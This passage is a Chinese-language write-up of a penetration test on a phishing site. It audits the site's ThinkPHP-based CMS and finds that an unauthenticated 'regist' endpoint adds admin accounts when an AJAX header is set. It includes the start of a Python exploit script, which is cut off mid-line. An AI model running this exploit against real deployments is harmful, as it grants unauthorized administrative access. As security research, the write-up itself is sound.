记一次对钓鱼网站的多次渗透
0x01 首先我们对目标进行目录扫描,发现admin.php 进入发现是后台界面,右击查看网页源码
我们复制title到百度搜索一下
第一个是官网 我把源码下载,看了一遍,发现是一个叫 默笙密码管理系统V2.0 这套源码和钓鱼网站一致
0x02 开始审计 这套cms是基于thinkphp的,所以我们直接跳到控制器开始审计 我们看到代码都是以Model对象的方式调用数据库查询,所以基本不存在注入,所以我们看下有没有逻辑绕过漏洞,或者是隐藏的接口 0x03 首先审计Admin的控制器
打开看了一下除了Login 其它的控制器均有登录认证,所以我们先审计Login
我们看到有5个方法
我们先打开前2个方法 方法 login 是判断数据库中是否存在管理员,如果不存在则去reg注册管理员
方法 reg 是判断数据库中是否存在管理员,如果不存在则进行注册,所以login 和reg方法是没有洞了
方法 loging 是登陆的,我们上文说了是代码都是以Model对象的方式调用数据库查询,所以基本不存在注入,所以loging也没洞
方法 regist 他首先判断了提交方式是不是AJAX 我们只要在协议头添加X-Requested-With:XMLHttpRequest就好了 然后我们看到两个参数 $data['username'] = I('post.p','','md5');$data['password'] = I('post.c','','md5');
然后它竟然直接进行进行添加管理员了,不过这个管理员不是超级管理员,但是可以登录后台就已经足够了,下面有个漏洞是提权
漏洞一 任意管理员添加 exp python def RegAdmin(): domain="127.0.0.1" username="".join(random.sample('zyxwvutsrqponmlkjihgfedcba12345678910',10)) password="".join(random.sample('zyxwvutsrqponmlkjihgfedcba12345678910',10)) headers = { 'X-Requested-With':'XMLHttpRequest', 'Content-Type':'application/x-www-form-urlencoded' } data="p="+username+"&c="+password flag = requests.post("http://"+domain+"/admin.php/login/regist", data=data,headers=headers).text.find("\\u8d26\\u53f7\\u5bc6\\u7801\\u521b\